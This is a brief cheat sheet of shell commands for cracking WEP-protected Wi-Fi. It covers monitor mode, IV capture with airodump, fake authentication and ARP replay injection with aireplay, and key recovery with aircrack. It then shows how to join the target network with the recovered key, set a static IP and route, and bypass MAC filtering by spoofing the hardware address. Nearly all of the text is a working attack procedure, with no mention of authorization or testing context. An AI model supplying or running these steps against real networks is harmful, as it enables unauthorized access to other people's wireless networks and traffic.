WEP Cracking
Use Kismet to get the ESSID, BSSID, Channel, Client MAC, and IP information. Put network card into monitor mode airmon.sh start eth1 or on Auditor monitor.wlan wlan0 11 Start Airodump to capture IVs to a file airodump eth1 cap 1 Fake authentication to the Access Point aireplay -1 0 -e ESSID -a BSSID -h 0:1:2:3:4:5 eth1 --if fails iwconfig eth1 rate 1M aireplay -1 0 -e ESSID -a BSSID -h 0:1:2:3:4:5 eth1 aireplay -1 20 -e ESSID -a BSSID -h 0:1:2:3:4:5 eth1 aireplay -1 0 -e ESSID -a BSSID -h CLIENT eth1 aireplay -1 20 -e ESSID -a BSSID -h CLIENT eth1 Inject ARP Packets to create traffic. aireplay -3 -b BSSID -h 0:1:2:3:4:5 -x 600 eth1 Wait…For 128-bit WEP you need about 1,000,000 packets. If aireplay stops sending, you need to associate again. Crack WEP aircrack -x -0 cap.ivs Connect to the Target WLAN iwconfig eth0 mode Managed key XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX dhclient eth1 Check if DHCP worked ifconfig eth1 If not, assign static IP ifconfig eth1 down ifconfig eth1 192.168.99.14 netmask 255.255.255.0 up route add default gw 192.168.99.1 Bypass MAC Address Filtering ifconfig eth1 down hw ether ifconfig eth1 up